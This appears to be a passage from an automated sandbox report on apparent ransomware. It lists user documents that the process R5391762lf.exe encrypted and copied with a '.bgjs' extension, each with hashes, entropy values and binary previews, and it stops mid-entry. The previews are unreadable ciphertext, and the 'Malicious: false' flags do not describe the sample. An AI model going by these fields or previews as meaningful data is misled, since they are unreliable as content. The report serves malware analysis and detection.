SHA-512:	D27667A3116CE6EC3D0AB81C2B7B5DC1AB3A332F3CBA9BEC0E7F8F0CBCD4C1DCBB76E15D5AF508F8A4FC4E771E7F2872D2BE2EACBFBEE3E3C36DB108C7F16100
Malicious:	false
Preview:	ZQIXMw..X)....8..e.)..........Xb.,.5...}.R%\|+.e7....<.Kv...3.=#.e....u..8..K......4....R.......s_.W...n.N...M.h$..cLWe`.J%..U.M@.....>H..g..aw..&...t..X..b<..P>..PCW.....$..]q6{.Z..e..N..L....X...{..D..L.FuA.U.T.z.K..#....w.V..%...\5.....L.q..2b...d.YP.E..X.6.p8........IC.....w.L.8...W}...h.'.......3Vw..e._....i...Y...I....w..Q.]?.f~l.O....>3..&g8.v.G..l.........=..f`.b..$..cN.`.Q...7p......C:....?.$...Y...q...Ln...K.C.......)...;.e.K.Z..".!...2....Y.8..Y.p.,......._..Q.x...j}Z....kI;.!K..v.....sr.C.l......K...>....b.....7k1aw.C..K.....0.a.#..s46E.Y..........kq.......zPE.(%.{.)I....2.\|D{..]$......T..i."....#....,....`g.).%.%E..9..nP ..drm....i.R.q.)&.}.Mq..q..X.)..........Y..iI..Y..{j..}}..o.62......#.?..H.a'h..P........r...t....S.d.]..A...1.Ld..0.....<.P....QP7....3.'W.n..x..TUW.....J.P..X..AQ@...5.t..:....q>.....v...?-!.JK.,H.Cf...i..p..f[...y.=.z.......f..y...;q4a8.,NE.~..~..p..!)...OC.f..[..8YM..f<....Z....OCT.9.c.7]sDO..>.lVAO

C:\Users\user\Desktop\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855869747715402
Encrypted:	false
SSDEEP:	24:KAUEqiNkQWm5667Bcbnu1QY3+lfFweieyM/W9OvhB3nZo6lG+UhoKXq8uWbD:K/Urf5p7GK3+lfFwLeVW9anZbUeKXFuQ
MD5:	DBBE8DC6AC54CB2CA3C9B4D0E936750E
SHA1:	3D0DEB65556512260313155212E84DD56FA80E9B
SHA-256:	6B755CBC2454D4F2141C5F4FA1B5B2125A30AEDE7CACE98B1A2C3F4A92EB5699
SHA-512:	9B5EDC6A581B1AB9B3ABF0FEB74161414605B762DECC0C195ED268EA35C37CE8D2096EC2F533691FB9A8CF848E5982544D0C7B757B6F227461A9CBC3B32F51BE
Malicious:	false
Preview:	LSBIH.....<E+J.f."z.....(........?(.G.."...Dn...M+..6..N..-...g.......(.&.XL....#$.@~#..T.xk..?E...N.U.......I.,.`.6.h.E..ad ..........Z.wl..c..HL'e~.?..l.9../8.....0.lQ....n.^.laK..8...!0..9KG.....d.r..=&..ds..6..E.S...m.R.n.......my.......M.>...`3ff..k.w.......cJMb...... .......#....<...y.TKn.#.N.s..........a.D.{G....b.9x.7lv...d.Y~.=.Va....;_5N.CAx..apu/..o,}.N..{.....fK.....w.x.V.....j.)T\+.2.>.....G._...4Y.kj\...7../...dc.n..?B....)4N.p.[..r..k.:...1..)..i. ...<H!F.e}....o...r..lS7%....K\|........Z.._x..:.G)...v.9...Ld.r7...{f.[z4....OV..C...b.?..,....M.....1..CA1?....R...u.f..,V....[s..N.30[y.f.1.)..,..T.... ..$.f.3.{. ....r....T...q.. .rA....#}..f.q.u......K..G...*.......BM.?x...y^D(.o....d......K&..../.\..$..o.En"8..)..p...a..H>"...}.Y..'kP...Q7yc.....@.....-.\..Z...-..NP..N..h@.uOT.8.. ..6N./:..P.H..).....9..FB#.l....i-..n.P.D......\|/..@...l.9.c2.....rM.k.qg...k..X.....F..j...I.o.L....L....8....Pc2n/..\|.m.&.Bu.P..{..3.Z.

C:\Users\user\Desktop\LSBIHQFDVT.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855869747715402
Encrypted:	false
SSDEEP:	24:KAUEqiNkQWm5667Bcbnu1QY3+lfFweieyM/W9OvhB3nZo6lG+UhoKXq8uWbD:K/Urf5p7GK3+lfFwLeVW9anZbUeKXFuQ
MD5:	DBBE8DC6AC54CB2CA3C9B4D0E936750E
SHA1:	3D0DEB65556512260313155212E84DD56FA80E9B
SHA-256:	6B755CBC2454D4F2141C5F4FA1B5B2125A30AEDE7CACE98B1A2C3F4A92EB5699
SHA-512:	9B5EDC6A581B1AB9B3ABF0FEB74161414605B762DECC0C195ED268EA35C37CE8D2096EC2F533691FB9A8CF848E5982544D0C7B757B6F227461A9CBC3B32F51BE
Malicious:	false
Preview:	LSBIH.....<E+J.f."z.....(........?(.G.."...Dn...M+..6..N..-...g.......(.&.XL....#$.@~#..T.xk..?E...N.U.......I.,.`.6.h.E..ad ..........Z.wl..c..HL'e~.?..l.9../8.....0.lQ....n.^.laK..8...!0..9KG.....d.r..=&..ds..6..E.S...m.R.n.......my.......M.>...`3ff..k.w.......cJMb...... .......#....<...y.TKn.#.N.s..........a.D.{G....b.9x.7lv...d.Y~.=.Va....;_5N.CAx..apu/..o,}.N..{.....fK.....w.x.V.....j.)T\+.2.>.....G._...4Y.kj\...7../...dc.n..?B....)4N.p.[..r..k.:...1..)..i. ...<H!F.e}....o...r..lS7%....K\|........Z.._x..:.G)...v.9...Ld.r7...{f.[z4....OV..C...b.?..,....M.....1..CA1?....R...u.f..,V....[s..N.30[y.f.1.)..,..T.... ..$.f.3.{. ....r....T...q.. .rA....#}..f.q.u......K..G...*.......BM.?x...y^D(.o....d......K&..../.\..$..o.En"8..)..p...a..H>"...}.Y..'kP...Q7yc.....@.....-.\..Z...-..NP..N..h@.uOT.8.. ..6N./:..P.H..).....9..FB#.l....i-..n.P.D......\|/..@...l.9.c2.....rM.k.qg...k..X.....F..j...I.o.L....L....8....Pc2n/..\|.m.&.Bu.P..{..3.Z.

C:\Users\user\Desktop\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844449262548773
Encrypted:	false
SSDEEP:	24:il8ZHJ4dWa4pyTTY8dmOEU2UrCM4CO1YUGDXr0BIY13r11WCm7kUkIcqXq8uWbD:q2zJgTYgKACiUahynm7kwPXFuED
MD5:	9D8FD3D367337C5155AE3BB52585E92A
SHA1:	3CE90A334C9E9FBB051C34C9342631E0C1F89083
SHA-256:	7482A8F6EE195BFD494F80D866174243A1AB97D296000C79DCA91A31846184F3
SHA-512:	54B9FF39AED830BCF3E6E1686F31C7DA2645115323BB5F87BBFF641DF674FB15F7FC81626EDDB961EF5C39EFFCD60FF1CFA7DAA14C3FDA0DD3B334036C7E9F7E
Malicious:	false
Preview:	MXPXC.g.,..b.......H.B.....c93v`..6....HF2.....'..F.../..?......X.%.&.A[.:...tu...*4K.x...:.C..o.B...y......F'..Q.S.Ta[.........C.....mO'}^DA.!..Ttgc.<....4b.!.,xB..b. ...o..6...9...^.t.\|.T......v....t.G]".v....8..@....+...v..+.+Q.....f@U.... EV..Knc].M.G..>..l.G......&+l.uY....'.vq.1eJS6.+.:...w...2zrQ...$#.....f..P..6..BFFw...}.uo....X"..E+$.:...^......y..e....7..F.R.Je.)...s..(P....t.........S.i..xn.. .....b(...zd.f.G).........X.^.nj.yC..m/...F..)...NbS:....{.~N...6.3.2..>>..(3.......SL.8^.........S...C.L;...0.i..G...z.b.\.......\|...g..Re...@8?D.....B.;#..\|%k..W.`xt1.C...D..9..B...G.....7..7.;.v....h..WkL........z/........v...1......xh...S...$.B'.2...l...Y.h.p.%9}..2...E.-tP<.p.g..A8.....4./....C..5..mH.^...n....Q..c..s.....y4JF.2....v...ng.!.U@...I'2k..x..._.;,9..<+...jv0)q..,x4.B...x..0......mF.'.'a.?......{..0m....C....0..3}..M<.3..d.\|.<..\..6g...?.."..eg....Qi...Q}..Y...Wf......\|l...o..3.vO...c.v^....T..r...#K{.?..R[i..<..3....-

C:\Users\user\Desktop\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844449262548773
Encrypted:	false
SSDEEP:	24:il8ZHJ4dWa4pyTTY8dmOEU2UrCM4CO1YUGDXr0BIY13r11WCm7kUkIcqXq8uWbD:q2zJgTYgKACiUahynm7kwPXFuED
MD5:	9D8FD3D367337C5155AE3BB52585E92A
SHA1:	3CE90A334C9E9FBB051C34C9342631E0C1F89083
SHA-256:	7482A8F6EE195BFD494F80D866174243A1AB97D296000C79DCA91A31846184F3
SHA-512:	54B9FF39AED830BCF3E6E1686F31C7DA2645115323BB5F87BBFF641DF674FB15F7FC81626EDDB961EF5C39EFFCD60FF1CFA7DAA14C3FDA0DD3B334036C7E9F7E
Malicious:	false
Preview:	MXPXC.g.,..b.......H.B.....c93v`..6....HF2.....'..F.../..?......X.%.&.A[.:...tu...*4K.x...:.C..o.B...y......F'..Q.S.Ta[.........C.....mO'}^DA.!..Ttgc.<....4b.!.,xB..b. ...o..6...9...^.t.\|.T......v....t.G]".v....8..@....+...v..+.+Q.....f@U.... EV..Knc].M.G..>..l.G......&+l.uY....'.vq.1eJS6.+.:...w...2zrQ...$#.....f..P..6..BFFw...}.uo....X"..E+$.:...^......y..e....7..F.R.Je.)...s..(P....t.........S.i..xn.. .....b(...zd.f.G).........X.^.nj.yC..m/...F..)...NbS:....{.~N...6.3.2..>>..(3.......SL.8^.........S...C.L;...0.i..G...z.b.\.......\|...g..Re...@8?D.....B.;#..\|%k..W.`xt1.C...D..9..B...G.....7..7.;.v....h..WkL........z/........v...1......xh...S...$.B'.2...l...Y.h.p.%9}..2...E.-tP<.p.g..A8.....4./....C..5..mH.^...n....Q..c..s.....y4JF.2....v...ng.!.U@...I'2k..x..._.;,9..<+...jv0)q..,x4.B...x..0......mF.'.'a.?......{..0m....C....0..3}..M<.3..d.\|.<..\..6g...?.."..eg....Qi...Q}..Y...Wf......\|l...o..3.vO...c.v^....T..r...#K{.?..R[i..<..3....-

C:\Users\user\Desktop\MXPXCVPDVN\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844589006795822
Encrypted:	false
SSDEEP:	24:oenE1Gmv7ZkeGHMZ8GTgtoDlk8+duLXq7Z/APXq8uWbD:oDhNkT08GTg97duDqVKXFuED
MD5:	72D3CCC497E17912462652D018FD2CD0
SHA1:	C73FED8F00B2BD77ADD9C066643FF0496DEAF33B
SHA-256:	273F79D4BA0704AA56A7332F56E08325E6ADA133D07512302B0906C9BF805ED5
SHA-512:	1A0B08C3C65C768339373A8DC09473D33E8CA0E7AFF19B1D50B4D55569230C461E904883E7BCD35071D0DC4C85C2510E9560BB8BF629D6CE92399F59E0BEB49D
Malicious:	false
Preview:	IPKGE,...&...ur..U].....u.\..vs.`..V.[..v\|.vgugR.8'...~....n...m..aV.k....hoP.0.<..$.0.G..\}.8..j06.A7J.7..VXA1.3.G.TI"...M..<.oi..4\....P....@3..h..H.[H-w....D......t$.F.z..,y..&R....9m..".v..+z...V.....g..n.Q5B;..1,'.....l.b..........(..pd...{Q\=..#..z.R..I...k...s/8.....H.iw.4t.e ..{..l[.}?.:...s.V....I..F.^.i......t.~r..!t..z.\|W..V...\E.^I.{..`..K'..$uF..HY+.e..@.te4{'..]..A.F.R.7..:...?....N..74.$.MS...l.B.......Jg..4. \|..O3..o.N..D1.....:W.....((...x..$..m..U].....=.Xq.....^9.....:......Q.O1c..ZLM....H...`<..:...>.{..4./;q.GH.w..%....[..S.6.K'; .!>...).!:ac..d]...#y..n.~CZ..Y.#.....V.e...M...R7^./.N.Z...E..U....T..&K....#d...\|MH.A.sTX....m...RN...........45...9...z.<T...fc.!L..C..y......v....O..9.H...-....;.@rLG.-."o...`!q...[...V.'Z....U...#..V\.p..Y..U=._.7QS .0.i.a\|..]....g.$.)..i..$..A...Kr>..q@.e5.h.=b....R..~....C....jv.Ri....I...> .t.....(....h..<..&G..5..'"....}..K;.....B.2....iJ.M..4.gq..*.i.~.Q......&.....w):+5...4.Z....:.

C:\Users\user\Desktop\MXPXCVPDVN\IPKGELNTQY.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844589006795822
Encrypted:	false
SSDEEP:	24:oenE1Gmv7ZkeGHMZ8GTgtoDlk8+duLXq7Z/APXq8uWbD:oDhNkT08GTg97duDqVKXFuED
MD5:	72D3CCC497E17912462652D018FD2CD0
SHA1:	C73FED8F00B2BD77ADD9C066643FF0496DEAF33B
SHA-256:	273F79D4BA0704AA56A7332F56E08325E6ADA133D07512302B0906C9BF805ED5
SHA-512:	1A0B08C3C65C768339373A8DC09473D33E8CA0E7AFF19B1D50B4D55569230C461E904883E7BCD35071D0DC4C85C2510E9560BB8BF629D6CE92399F59E0BEB49D
Malicious:	false
Preview:	IPKGE,...&...ur..U].....u.\..vs.`..V.[..v\|.vgugR.8'...~....n...m..aV.k....hoP.0.<..$.0.G..\}.8..j06.A7J.7..VXA1.3.G.TI"...M..<.oi..4\....P....@3..h..H.[H-w....D......t$.F.z..,y..&R....9m..".v..+z...V.....g..n.Q5B;..1,'.....l.b..........(..pd...{Q\=..#..z.R..I...k...s/8.....H.iw.4t.e ..{..l[.}?.:...s.V....I..F.^.i......t.~r..!t..z.\|W..V...\E.^I.{..`..K'..$uF..HY+.e..@.te4{'..]..A.F.R.7..:...?....N..74.$.MS...l.B.......Jg..4. \|..O3..o.N..D1.....:W.....((...x..$..m..U].....=.Xq.....^9.....:......Q.O1c..ZLM....H...`<..:...>.{..4./;q.GH.w..%....[..S.6.K'; .!>...).!:ac..d]...#y..n.~CZ..Y.#.....V.e...M...R7^./.N.Z...E..U....T..&K....#d...\|MH.A.sTX....m...RN...........45...9...z.<T...fc.!L..C..y......v....O..9.H...-....;.@rLG.-."o...`!q...[...V.'Z....U...#..V\.p..Y..U=._.7QS .0.i.a\|..]....g.$.)..i..$..A...Kr>..q@.e5.h.=b....R..~....C....jv.Ri....I...> .t.....(....h..<..&G..5..'"....}..K;.....B.2....iJ.M..4.gq..*.i.~.Q......&.....w):+5...4.Z....:.

C:\Users\user\Desktop\MXPXCVPDVN\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845372636616868
Encrypted:	false
SSDEEP:	24:KqxZITcMNw5XxDb2JRRmEYyKHnSKggS8ttD9u97oj2W3+KJiXq8uWbD:KqxRhifWyJgS8dGql+KsXFuED
MD5:	174427C81F07400243152CC58657389F
SHA1:	C716C7A707E75986370D92B3FFE06E26ADF0530D
SHA-256:	5F6FD174645BFC6DA2ABE901C19931CDDCF710A14B2F418B610ECE82EB2ADB2E
SHA-512:	A411A1F8E3238324A788EB43B32D6D987F9A55A7DD83098C894DAAD21559E81B8529D90AF0720CEBF369A0DCB7C4C60A7A9746F93F90ADC7F42DC668F732B2B4
Malicious:	false
Preview:	LSBIH.8A.G....t.'_.T.....A....`/F.....!..G;..Ek.A...~...&.r..0`..&........ f.............5P.4g(...'.9.........$.K..8B.".[)H6KU.{.......?.z..\|u,.L.....:...0?"Ol..uw.1..C..f....#.......}@/..!p'Q...sl...ZX.>..W;....4x..w.f.h...<n7..yk.[!.v........l......j(.k........[3....}...9.M.7.0.b...gc.w.1...FG..61@.A.R.+..Hk.F.;7i. .'}.....:.......t...eH.!..F..lI3=....O.j8]).4?J:....[......A.K%.B...tW1Ks;.....].....6.@'.HF..2..\|....N..?........G...v.).m.=VE.J.}.....z..........z\...l(..R.bC..'#B.....y.u..Z.v.h!p@..T@.h....fq.X..r4.E\|t.......i.s.gWX.g...B N.].._k......im.j.Z......o..s.....C..F0.g..D..4.8......(..u..4hP...9u...)...u...C...E........d?#..j..k.!...}.....C.V....b?..^(&....@..V....-...G..g!8..>........#..e.X3........7. ..&...?......m..3./...2.....-,..`z&..{....A...Z..!T..@...G..a*..W.."`.....D5..#.c"..R...`..........Y.s..r.A...g).{<X.....i.?..G.a..>n.[0.~....?K.G...O.-P...JkH.W...d..m....<.%......k.9%3<....q>.9..YY=.....2...Y..3S....3..<:i.

C:\Users\user\Desktop\MXPXCVPDVN\LSBIHQFDVT.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845372636616868
Encrypted:	false
SSDEEP:	24:KqxZITcMNw5XxDb2JRRmEYyKHnSKggS8ttD9u97oj2W3+KJiXq8uWbD:KqxRhifWyJgS8dGql+KsXFuED
MD5:	174427C81F07400243152CC58657389F
SHA1:	C716C7A707E75986370D92B3FFE06E26ADF0530D
SHA-256:	5F6FD174645BFC6DA2ABE901C19931CDDCF710A14B2F418B610ECE82EB2ADB2E
SHA-512:	A411A1F8E3238324A788EB43B32D6D987F9A55A7DD83098C894DAAD21559E81B8529D90AF0720CEBF369A0DCB7C4C60A7A9746F93F90ADC7F42DC668F732B2B4
Malicious:	false
Preview:	LSBIH.8A.G....t.'_.T.....A....`/F.....!..G;..Ek.A...~...&.r..0`..&........ f.............5P.4g(...'.9.........$.K..8B.".[)H6KU.{.......?.z..\|u,.L.....:...0?"Ol..uw.1..C..f....#.......}@/..!p'Q...sl...ZX.>..W;....4x..w.f.h...<n7..yk.[!.v........l......j(.k........[3....}...9.M.7.0.b...gc.w.1...FG..61@.A.R.+..Hk.F.;7i. .'}.....:.......t...eH.!..F..lI3=....O.j8]).4?J:....[......A.K%.B...tW1Ks;.....].....6.@'.HF..2..\|....N..?........G...v.).m.=VE.J.}.....z..........z\...l(..R.bC..'#B.....y.u..Z.v.h!p@..T@.h....fq.X..r4.E\|t.......i.s.gWX.g...B N.].._k......im.j.Z......o..s.....C..F0.g..D..4.8......(..u..4hP...9u...)...u...C...E........d?#..j..k.!...}.....C.V....b?..^(&....@..V....-...G..g!8..>........#..e.X3........7. ..&...?......m..3./...2.....-,..`z&..{....A...Z..!T..@...G..a*..W.."`.....D5..#.c"..R...`..........Y.s..r.A...g).{<X.....i.?..G.a..>n.[0.~....?K.G...O.-P...JkH.W...d..m....<.%......k.9%3<....q>.9..YY=.....2...Y..3S....3..<:i.

C:\Users\user\Desktop\MXPXCVPDVN\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831662041307149
Encrypted:	false
SSDEEP:	24:B/nN3R1LechnE7cTMTOs0/r/jZ+5ZEkCu5XntDwq4vAjlJtqu09Xq8uWbD:B/nN3R84QKs0/r/jwckX1tMZvAe9XFuQ
MD5:	C07E1F74F545E780371D255CCFDC0332
SHA1:	7A0F3DB2DC52C148823B90D815BEC27541C2FF70
SHA-256:	AF27F43E9EFD7E5DA2C05776776D59CB5E8A1D0A045F171CB2C5505A52E67189
SHA-512:	D2BD513C4A32944D70F23B62543B20AB0F8E3B419DDD3EDE777A908AF9077FFA270D17C23232E4A093E01BAD9FF0565275E1401605433F99357EFCD1ABA57922
Malicious:	false
Preview:	MXPXC.....nn..;.D.>_...v"C<e....-\|!!..s( ..T.&.=...............f.]@...h..'...h...f.W.d./...Nt......G&l...M[T....E6X...@r}V#EXMP......../..\|...4.H{...0..c...bC.2.s.d"....%..<...."E.Y.n.67...~.#.H.og........"P.w.../P.E.j.....>...%L. K`J,...I.0...O\|D.jk+!N`...H+...U.2"J@ .fk.$g}5.6....S....(1.../.G..XnW...;..!.W.k?. )6.%D.q...4X...7_{.).L...j.-s..K.....W..7e..?./.....i.7...F0Z..J....m........BT....i./..U.]..h`.V..'.VP...c).h.......%.!....8jC...E....<+.&....x.5.oN+.U.;.<k.yX.8..x.P.E..hD..l........^...S.....x:..9x.?Xy.ll.W3..sF..u.@8..q.....yry.M...v...m....7(...OR......_HdM....f....-.[,xk._.sz..X....z.8n?"v.#e..U...--.a.v.....f..4.Ay.=W....@......r.....]..G3....m..bl..f%.].R)..\|.Q..p..`..,6..^1,.y.'..\|...96...l4...;.. 6.^kP..r.M...U.-}....\|.ry..]..."f.\|..Z..r.Z...$4Ns../k.Vm.pq.Z.C@..u!.B....:c.=..j.+lG......^C.[......j..f..n..,.K....d..6.....A.P....~.To0h..@cea.\\..B.<..R@...q'.1......R]..Y.0Iy.....(.}...E..q.V.....h......4..d.

C:\Users\user\Desktop\MXPXCVPDVN\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831662041307149
Encrypted:	false
SSDEEP:	24:B/nN3R1LechnE7cTMTOs0/r/jZ+5ZEkCu5XntDwq4vAjlJtqu09Xq8uWbD:B/nN3R84QKs0/r/jwckX1tMZvAe9XFuQ
MD5:	C07E1F74F545E780371D255CCFDC0332
SHA1:	7A0F3DB2DC52C148823B90D815BEC27541C2FF70
SHA-256:	AF27F43E9EFD7E5DA2C05776776D59CB5E8A1D0A045F171CB2C5505A52E67189
SHA-512:	D2BD513C4A32944D70F23B62543B20AB0F8E3B419DDD3EDE777A908AF9077FFA270D17C23232E4A093E01BAD9FF0565275E1401605433F99357EFCD1ABA57922
Malicious:	false
Preview:	MXPXC.....nn..;.D.>_...v"C<e....-\|!!..s( ..T.&.=...............f.]@...h..'...h...f.W.d./...Nt......G&l...M[T....E6X...@r}V#EXMP......../..\|...4.H{...0..c...bC.2.s.d"....%..<...."E.Y.n.67...~.#.H.og........"P.w.../P.E.j.....>...%L. K`J,...I.0...O\|D.jk+!N`...H+...U.2"J@ .fk.$g}5.6....S....(1.../.G..XnW...;..!.W.k?. )6.%D.q...4X...7_{.).L...j.-s..K.....W..7e..?./.....i.7...F0Z..J....m........BT....i./..U.]..h`.V..'.VP...c).h.......%.!....8jC...E....<+.&....x.5.oN+.U.;.<k.yX.8..x.P.E..hD..l........^...S.....x:..9x.?Xy.ll.W3..sF..u.@8..q.....yry.M...v...m....7(...OR......_HdM....f....-.[,xk._.sz..X....z.8n?"v.#e..U...--.a.v.....f..4.Ay.=W....@......r.....]..G3....m..bl..f%.].R)..\|.Q..p..`..,6..^1,.y.'..\|...96...l4...;.. 6.^kP..r.M...U.-}....\|.ry..]..."f.\|..Z..r.Z...$4Ns../k.Vm.pq.Z.C@..u!.B....:c.=..j.+lG......^C.[......j..f..n..,.K....d..6.....A.P....~.To0h..@cea.\\..B.<..R@...q'.1......R]..Y.0Iy.....(.}...E..q.V.....h......4..d.

C:\Users\user\Desktop\MXPXCVPDVN\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838070504984836
Encrypted:	false
SSDEEP:	24:74NvVn/hvlNd05YYBNPN5mtomVpiHC6QF8RqPmB5v5Ol7+vT/tkyuUZsPLI1m5Tc:0NNn/FlQiYDPN5m9Ii6QKRq+W4T/tkpI
MD5:	99ECFEB09DFA60E9AAD0F8E38BA1316A
SHA1:	D837369EF3346D23A3DEF8314F659EDBF3A7C776
SHA-256:	A32B97D894A56E9A36EA78AFAE8C89AF3425FE766D71798C232170D4C8D82502
SHA-512:	9C4DE09AF32B467C625F40A3341A911CED9DC65FC29F6AE6B6193BFF5A63B40736FD2873148D74355BE357BC36CDEDB584BECD61DB9E3585D6E0B6858BCFE0D2
Malicious:	false
Preview:	NEBFQ.S...>....Wl..z....b.H.^...%.D.u......T.].r..1:..2t.}:......h...UCn.Y..q.....~.jyj...[j.).O.r.PW.=...r ;.Y.@..>V...z...q`N....{.'...]..._...3i.).pB...C.>[y%i..[.Zr}7..Sx....._?...C.bd2^D{!il.:..;.2...B'<..\z^M..L.....!..{...z86.G,.[6qi........no!vn)<;..p.t..fP....t+.Me8,@...C....{.....%.r:.THi.rw....^..D.i..rF..Vc...$VvD..L.O...\|e.".....`.O.f.?$..u.B......._.:=L..\...Wh1..b:.......:hA.E..3n.....{.J.-.d.^qJ.zp...x..X.Kov...FR...3.X...]..M.\|.J.!.p......y..[...?.KQ....=..F.\.......+...T..?..h(N.ZT.....?..'{...fU-..<.......j...8....'..$..A. ..m.....o.E...>@..M....;..$..u..CBFk=2.......q....@.2...xn=...Cc.kW..'......nJ...!t.11DgHZ.qJB>..DI.. .(.PS"...tA.fna..(95($wM...,..1Y.'.i.B.../...L..V%.........i...$.s!E.P.......V..../..H.!.$...x..^..........l....\|d.(..!Y..T..dy..$-.0..{.A...e.}U..D..y+&.....R+.Y.oW..j44..].-S_u....>.x....3eY..E.1..zCQ.....m......@-Q....?p.[\|1zb:...Q.....^...%.. .!........8...x.A.....{4KUgL..Q....jv..)l6CR.\|.

C:\Users\user\Desktop\MXPXCVPDVN\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853348951829608
Encrypted:	false
SSDEEP:	24:tBw/O8c9U6i2mSNS05SpZHNkbR2bjbgNtBnXtvPI2/my65GCIEW/Xq8uWbD:wLc9U69mSY05S7mGjbytBXto6my656/R
MD5:	91C64701B3308C2AA09F3B381DB3D652
SHA1:	BF678376C7337CC87DEF33D4D7337341618AAA3F
SHA-256:	004EE57742FBCDD62E058761C45B0366A06A6B1115073AEA59347D5EF88109C6
SHA-512:	813556C57A1BF043917B98B568B890E9C8547A312141139C6199D7BEC7072427FB02F07AA67167AEA34B59EB905A50EA4B2D684C2515E5993A69E7628571CCC2
Malicious:	false
Preview:	SFPUS...OZ.S./wU..\.....I.;...1... C._..6.z...p+..2.>.."p?.ef./...qz......Q..z..bI...n_S...P.i..U..h...#.f$?........g^Gy..%........L.....'?.]......-v!{s......Y..`l..)66s;.q9.\.H.4../.6].0..t@..,.Lr...flC.1.o...NL......4....1E..}.Z...l.X......'.\|...>.0.~..5..TQ99.}B.Gl....I..K...p..cj........1.-,.....i..tJ.).{....:.9.s...B..F.....`...9.....c...o...T.#....L..~..Z.....;W...aO..].q.3&.....=b.3...Wa.\|.=..E0.. s...(......g............v..c.Hu..2uD.....2......L...n.H].\...2.@.9.KK.F.KE.T...qp.."h./..V..Ov.<...{.u...1.>.A....z\|... (.....t..%.O&.....upo.M,.-.#F..tvL3}.@....G.......E.P..a`..! ..{}K../f..P.7aQ.HF.mg.IW.L.....K....M..A#z..!..(....9l..5../.......MUm.....`n6,......9FH..I1...:.o.v.c.%.^bk.....E~_,..2..Fmo.....UE.2...t.(.....S3."fW...J'\.p.C...?...M._c.j.I..,G.Yi.2Ct..;.Y.F..sNM..gM.5u..LY..+......./.`...0...r..;...8..w..p...@cP\.......;....Y6b ....!.utq..#..{.\|.6...17....?..F#x.....c..8...$....."..Sms9u..K0..gE.....yA...(..p.

C:\Users\user\Desktop\MXPXCVPDVN\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853348951829608
Encrypted:	false
SSDEEP:	24:tBw/O8c9U6i2mSNS05SpZHNkbR2bjbgNtBnXtvPI2/my65GCIEW/Xq8uWbD:wLc9U69mSY05S7mGjbytBXto6my656/R
MD5:	91C64701B3308C2AA09F3B381DB3D652
SHA1:	BF678376C7337CC87DEF33D4D7337341618AAA3F
SHA-256:	004EE57742FBCDD62E058761C45B0366A06A6B1115073AEA59347D5EF88109C6
SHA-512:	813556C57A1BF043917B98B568B890E9C8547A312141139C6199D7BEC7072427FB02F07AA67167AEA34B59EB905A50EA4B2D684C2515E5993A69E7628571CCC2
Malicious:	false
Preview:	SFPUS...OZ.S./wU..\.....I.;...1... C._..6.z...p+..2.>.."p?.ef./...qz......Q..z..bI...n_S...P.i..U..h...#.f$?........g^Gy..%........L.....'?.]......-v!{s......Y..`l..)66s;.q9.\.H.4../.6].0..t@..,.Lr...flC.1.o...NL......4....1E..}.Z...l.X......'.\|...>.0.~..5..TQ99.}B.Gl....I..K...p..cj........1.-,.....i..tJ.).{....:.9.s...B..F.....`...9.....c...o...T.#....L..~..Z.....;W...aO..].q.3&.....=b.3...Wa.\|.=..E0.. s...(......g............v..c.Hu..2uD.....2......L...n.H].\...2.@.9.KK.F.KE.T...qp.."h./..V..Ov.<...{.u...1.>.A....z\|... (.....t..%.O&.....upo.M,.-.#F..tvL3}.@....G.......E.P..a`..! ..{}K../f..P.7aQ.HF.mg.IW.L.....K....M..A#z..!..(....9l..5../.......MUm.....`n6,......9FH..I1...:.o.v.c.%.^bk.....E~_,..2..Fmo.....UE.2...t.(.....S3."fW...J'\.p.C...?...M._c.j.I..,G.Yi.2Ct..;.Y.F..sNM..gM.5u..LY..+......./.`...0...r..;...8..w..p...@cP\.......;....Y6b ....!.utq..#..{.\|.6...17....?..F#x.....c..8...$....."..Sms9u..K0..gE.....yA...(..p.

C:\Users\user\Desktop\NEBFQQYWPS.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855255574587677
Encrypted:	false
